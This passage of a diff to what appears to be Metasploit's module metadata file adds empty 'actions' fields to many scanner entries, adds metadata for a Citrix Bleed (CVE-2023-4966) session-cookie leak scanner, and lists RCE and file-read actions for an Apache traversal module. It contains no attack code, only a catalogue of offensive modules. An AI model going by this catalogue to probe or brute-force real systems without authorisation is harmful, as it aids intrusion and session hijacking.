"needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/xymon_info": { "name": "Xymon Daemon Gather Information", @@ -23627,7 +26282,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/zabbix_toggleids_sqli": { "name": "Zabbix toggle_ids SQL Injection", @@ -23676,7 +26334,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/zookeeper_info_disclosure": { "name": "Apache ZooKeeper Information Disclosure", @@ -23723,7 +26384,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_gather/zoomeye_search": { "name": "ZoomEye Search", @@ -23765,7 +26429,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_parser/unattend": { "name": "Auxilliary Parser Windows Unattend Passwords", @@ -23805,7 +26472,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_pdf/foxit/authbypass": { "name": "Foxit Reader Authorization Bypass", @@ -23846,7 +26516,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/acpp/login": { "name": "Apple Airport ACPP Authentication Scanner", @@ -23884,7 +26557,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/afp/afp_login": { "name": "Apple Filing Protocol Login Utility", @@ -23923,7 +26599,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/afp/afp_server_info": { "name": "Apple Filing Protocol Info Enumerator", @@ -23961,7 +26640,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/amqp/amqp_login": { "name": "AMQP 0-9-1 Login Check Scanner", @@ -24008,7 +26690,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/amqp/amqp_version": { "name": "AMQP 0-9-1 Version Scanner", @@ -24046,7 +26731,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/backdoor/energizer_duo_detect": { "name": "Energizer DUO Trojan Scanner", @@ -24086,7 +26774,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/chargen/chargen_probe": { "name": "Chargen Probe Utility", @@ -24125,7 +26816,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/couchdb/couchdb_enum": { "name": "CouchDB Enum Utility", @@ -24177,7 +26871,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/couchdb/couchdb_login": { "name": "CouchDB Login Utility", @@ -24224,7 +26921,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/db2/db2_auth": { "name": "DB2 Authentication Brute Force Utility", @@ -24262,7 +26962,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/db2/db2_version": { "name": "DB2 Probe Utility", @@ -24300,7 +27003,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/db2/discovery": { "name": "DB2 Discovery Service Detection", @@ -24338,7 +27044,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/dfscoerce": { "name": "DFSCoerce", @@ -24380,7 +27089,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/endpoint_mapper": { "name": "Endpoint Mapper Service Discovery", @@ -24418,7 +27130,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/hidden": { "name": "Hidden DCERPC Service Discovery", @@ -24456,7 +27171,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/management": { "name": "Remote Management Interface Discovery", @@ -24494,7 +27212,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/petitpotam": { "name": "PetitPotam", @@ -24527,7 +27248,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2023-02-21 15:47:01 +0000", + "mod_time": "2023-12-15 13:40:55 +0000", "path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb", "is_install_path": true, "ref_name": "scanner/dcerpc/petitpotam", @@ -24537,7 +27258,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/tcp_dcerpc_auditor": { "name": "DCERPC TCP Service Auditor", @@ -24575,7 +27299,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dcerpc/windows_deployment_services": { "name": "Microsoft Windows Deployment Services Unattend Retrieval", @@ -24614,7 +27341,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dect/call_scanner": { "name": "DECT Call Scanner", @@ -24652,7 +27382,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dect/station_scanner": { "name": "DECT Base Station Scanner", @@ -24690,7 +27423,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/arp_sweep": { "name": "ARP Sweep Local Network Discovery", @@ -24728,7 +27464,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/empty_udp": { "name": "UDP Empty Prober", @@ -24766,7 +27505,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/ipv6_multicast_ping": { "name": "IPv6 Link Local/Node Local Ping Discovery", @@ -24804,7 +27546,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/ipv6_neighbor": { "name": "IPv6 Local Neighbor Discovery", @@ -24842,7 +27587,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/ipv6_neighbor_router_advertisement": { "name": "IPv6 Local Neighbor Discovery Using Router Advertisement", @@ -24881,7 +27629,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/udp_probe": { "name": "UDP Service Prober", @@ -24919,7 +27670,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/discovery/udp_sweep": { "name": "UDP Service Sweeper", @@ -24957,7 +27711,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dlsw/dlsw_leak_capture": { "name": "Cisco DLSw Information Disclosure Scanner", @@ -24998,7 +27755,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/dns/dns_amp": { "name": "DNS Amplification Scanner", @@ -25037,7 +27797,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/emc/alphastor_devicemanager": { "name": "EMC AlphaStor Device Manager Service", @@ -25075,7 +27838,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/emc/alphastor_librarymanager": { "name": "EMC AlphaStor Library Manager Service", @@ -25113,7 +27879,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/etcd/open_key_scanner": { "name": "Etcd Keys API Information Gathering", @@ -25162,7 +27931,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/etcd/version": { "name": "Etcd Version Scanner", @@ -25211,7 +27983,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/finger/finger_users": { "name": "Finger Service User Enumerator", @@ -25249,7 +28024,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/anonymous": { "name": "Anonymous FTP Access Detection", @@ -25288,7 +28066,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/bison_ftp_traversal": { "name": "BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure", @@ -25330,7 +28111,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/colorado_ftp_traversal": { "name": "ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure", @@ -25372,7 +28156,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/easy_file_sharing_ftp": { "name": "Easy File Sharing FTP Server 3.6 Directory Traversal", @@ -25411,7 +28198,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/ftp_login": { "name": "FTP Authentication Scanner", @@ -25450,7 +28240,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/ftp_version": { "name": "FTP Version Scanner", @@ -25489,7 +28282,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/konica_ftp_traversal": { "name": "Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure", @@ -25533,7 +28329,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/pcman_ftp_traversal": { "name": "PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure", @@ -25575,7 +28374,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ftp/titanftp_xcrc_traversal": { "name": "Titan FTP XCRC Directory Traversal Information Disclosure", @@ -25617,7 +28419,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/gopher/gopher_gophermap": { "name": "Gopher gophermap Scanner", @@ -25655,7 +28460,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/gprs/gtp_echo": { "name": "GTP Echo Scanner", @@ -25695,7 +28503,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/h323/h323_version": { "name": "H.323 Version Scanner", @@ -25733,7 +28544,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/a10networks_ax_directory_traversal": { "name": "A10 Networks AX Loadbalancer Directory Traversal", @@ -25782,7 +28596,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/accellion_fta_statecode_file_read": { "name": "Accellion FTA 'statecode' Cookie Arbitrary File Read", @@ -25830,7 +28647,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/adobe_xml_inject": { "name": "Adobe XML External Entity Injection", @@ -25881,7 +28701,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/advantech_webaccess_login": { "name": "Advantech WebAccess Login", @@ -25928,7 +28751,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/allegro_rompager_misfortune_cookie": { "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner", @@ -25979,7 +28805,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_activemq_source_disclosure": { "name": "Apache ActiveMQ JSP Files Source Disclosure", @@ -26030,7 +28859,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_activemq_traversal": { "name": "Apache ActiveMQ Directory Traversal", @@ -26080,7 +28912,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_flink_jobmanager_traversal": { "name": "Apache Flink JobManager Traversal", @@ -26143,7 +28978,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_mod_cgi_bash_env": { "name": "Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner", @@ -26200,7 +29038,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_nifi_login": { "name": "Apache NiFi Login Scanner", @@ -26256,7 +29097,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_nifi_version": { "name": "Apache NiFi Version Scanner", @@ -26312,7 +29156,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_normalize_path": { "name": "Apache 2.4.49/2.4.50 Traversal RCE scanner", @@ -26377,7 +29224,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHECK_RCE", + "description": "Check for RCE (if mod_cgi is enabled)." + }, + { + "name": "CHECK_TRAVERSAL", + "description": "Check for vulnerability." + }, + { + "name": "READ_FILE", + "description": "Read file on the remote server." + } + ] }, "auxiliary_scanner/http/apache_optionsbleed": { "name": "Apache Optionsbleed Scanner", @@ -26431,7 +29292,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/apache_userdir_enum": { "name": "Apache \"mod_userdir\" User Enumeration", @@ -26480,7 +29344,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/appletv_login": { "name": "AppleTV AirPlay Login Utility", @@ -26528,7 +29395,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/atlassian_crowd_fileaccess": { "name": "Atlassian Crowd XML Entity Expansion Remote File Access", @@ -26583,7 +29453,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/axis_local_file_include": { "name": "Apache Axis2 v1.4.1 Local File Inclusion", @@ -26631,7 +29504,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/axis_login": { "name": "Apache Axis2 Brute Force Utility", @@ -26679,7 +29555,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/azure_ad_login": { "name": "Microsoft Azure Active Directory Login Enumeration", @@ -26728,7 +29607,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/backup_file": { "name": "HTTP Backup File Scanner", @@ -26775,7 +29657,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/barracuda_directory_traversal": { "name": "Barracuda Multiple Product \"locale\" Directory Traversal", @@ -26824,7 +29709,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/bavision_cam_login": { "name": "BAVision IP Camera Web Server Login", @@ -26871,7 +29759,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/binom3_login_config_pass_dump": { "name": "Binom3 Web Management Login Scanner, Config and Password File Dump", @@ -26919,7 +29810,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/bitweaver_overlay_type_traversal": { "name": "Bitweaver overlay_type Directory Traversal", @@ -26971,7 +29865,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/blind_sql_query": { "name": "HTTP Blind SQL Injection Scanner", @@ -27018,7 +29915,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/bmc_trackit_passwd_reset": { "name": "BMC TrackIt! Unauthenticated Arbitrary User Password Change", @@ -27067,7 +29967,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/brute_dirs": { "name": "HTTP Directory Brute Force Scanner", @@ -27114,7 +30017,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/buffalo_login": { "name": "Buffalo NAS Login Utility", @@ -27161,7 +30067,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/buildmaster_login": { "name": "Inedo BuildMaster Login Scanner", @@ -27208,7 +30117,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/caidao_bruteforce_login": { "name": "Chinese Caidao Backdoor Bruteforce", @@ -27259,7 +30171,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/canon_wireless": { "name": "Canon Printer Wireless Configuration Disclosure", @@ -27308,7 +30223,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cassandra_web_file_read": { "name": "Cassandra Web File Read Vulnerability", @@ -27366,7 +30284,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cert": { "name": "HTTP SSL Certificate Checker", @@ -27404,7 +30325,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cgit_traversal": { "name": "cgit Directory Traversal", @@ -27454,7 +30378,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/chef_webui_login": { "name": "Chef Web UI Brute Force Utility", @@ -27501,7 +30428,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/chromecast_webserver": { "name": "Chromecast Web Server Scanner", @@ -27548,7 +30478,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/chromecast_wifi": { "name": "Chromecast Wifi Enumeration", @@ -27595,7 +30528,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_asa_asdm_bruteforce": { "name": "Cisco ASA ASDM Brute-force Login", @@ -27651,7 +30587,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_asa_clientless_vpn": { "name": "Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility", @@ -27708,7 +30647,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_device_manager": { "name": "Cisco Device HTTP Device Manager Access", @@ -27757,7 +30699,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_directory_traversal": { "name": "Cisco ASA Directory Traversal", @@ -27807,7 +30752,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_firepower_download": { "name": "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal", @@ -27856,7 +30804,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_firepower_login": { "name": "Cisco Firepower Management Console 6.0 Login", @@ -27903,7 +30854,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_ios_auth_bypass": { "name": "Cisco IOS HTTP Unauthorized Administrative Access", @@ -27953,7 +30907,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_ironport_enum": { "name": "Cisco Ironport Bruteforce Login Utility", @@ -28000,7 +30957,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_nac_manager_traversal": { "name": "Cisco Network Access Manager Directory Traversal Vulnerability", @@ -28048,7 +31008,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_ssl_vpn": { "name": "Cisco SSL VPN Bruteforce Login Utility", @@ -28095,7 +31058,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cisco_ssl_vpn_priv_esc": { "name": "Cisco ASA SSL VPN Privilege Escalation Vulnerability", @@ -28145,7 +31111,74 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] + }, + "auxiliary_scanner/http/citrix_bleed_cve_2023_4966": { + "name": "Citrix ADC (NetScaler) Bleed Scanner", + "fullname": "auxiliary/scanner/http/citrix_bleed_cve_2023_4966", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-10-25", + "type": "auxiliary", + "author": [ + "Dylan Pindur", + "Spencer McIntyre" + ], + "description": "This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory for a\n target Citrix ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found.", + "references": [ + "CVE-2023-4966", + "URL-https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-10-27 13:48:45 +0000", + "path": "/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb", + "is_install_path": true, + "ref_name": "scanner/http/citrix_bleed_cve_2023_4966", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ], + "AKA": [ + "Citrix Bleed" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/citrix_dir_traversal": { "name": "Citrix ADC (NetScaler) Directory Traversal Scanner", @@ -28199,7 +31232,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/clansphere_traversal": { "name": "ClanSphere 2011.3 Local File Inclusion Vulnerability", @@ -28248,7 +31284,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/cnpilot_r_web_login_loot": { "name": "Cambium cnPilot r200/r201 Login Scanner and Config Dump", @@ -28296,7 +31335,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/coldfusion_locale_traversal": { "name": "ColdFusion Server Check", @@ -28348,7 +31390,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/coldfusion_version": { "name": "ColdFusion Version Scanner", @@ -28396,7 +31441,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/concrete5_member_list": { "name": "Concrete5 Member List Enumeration", @@ -28445,7 +31493,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/copy_of_file": { "name": "HTTP Copy File Scanner", @@ -28492,7 +31543,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/crawler": { "name": "Web Site Crawler", @@ -28540,7 +31594,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dell_idrac": { "name": "Dell iDRAC Default Login", @@ -28588,7 +31645,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dicoogle_traversal": { "name": "Dicoogle PACS Web Server Directory Traversal", @@ -28636,7 +31696,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dir_listing": { "name": "HTTP Directory Listing Scanner", @@ -28683,7 +31746,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dir_scanner": { "name": "HTTP Directory Scanner", @@ -28730,7 +31796,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dir_webdav_unicode_bypass": { "name": "MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner", @@ -28781,7 +31850,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/directadmin_login": { "name": "DirectAdmin Web Control Panel Login Utility", @@ -28828,7 +31900,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dlink_dir_300_615_http_login": { "name": "D-Link DIR-300A / DIR-320 / DIR-615D HTTP Login Utility", @@ -28876,7 +31951,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dlink_dir_615h_http_login": { "name": "D-Link DIR-615H HTTP Login Utility", @@ -28924,7 +32002,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dlink_dir_session_cgi_http_login": { "name": "D-Link DIR-300B / DIR-600B / DIR-815 / DIR-645 HTTP Login Utility", @@ -28972,7 +32053,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dlink_user_agent_backdoor": { "name": "D-Link User-Agent Backdoor Scanner", @@ -29021,7 +32105,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dnalims_file_retrieve": { "name": "DnaLIMS Directory Traversal", @@ -29071,7 +32158,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/docker_version": { "name": "Docker Server Version Scanner", @@ -29118,7 +32208,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dolibarr_16_contact_dump": { "name": "Dolibarr 16 pre-auth contact database dump", @@ -29178,7 +32271,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/dolibarr_login": { "name": "Dolibarr ERP/CRM Login Utility", @@ -29225,7 +32321,10 @@ "notes": { }, "session_types": false, - 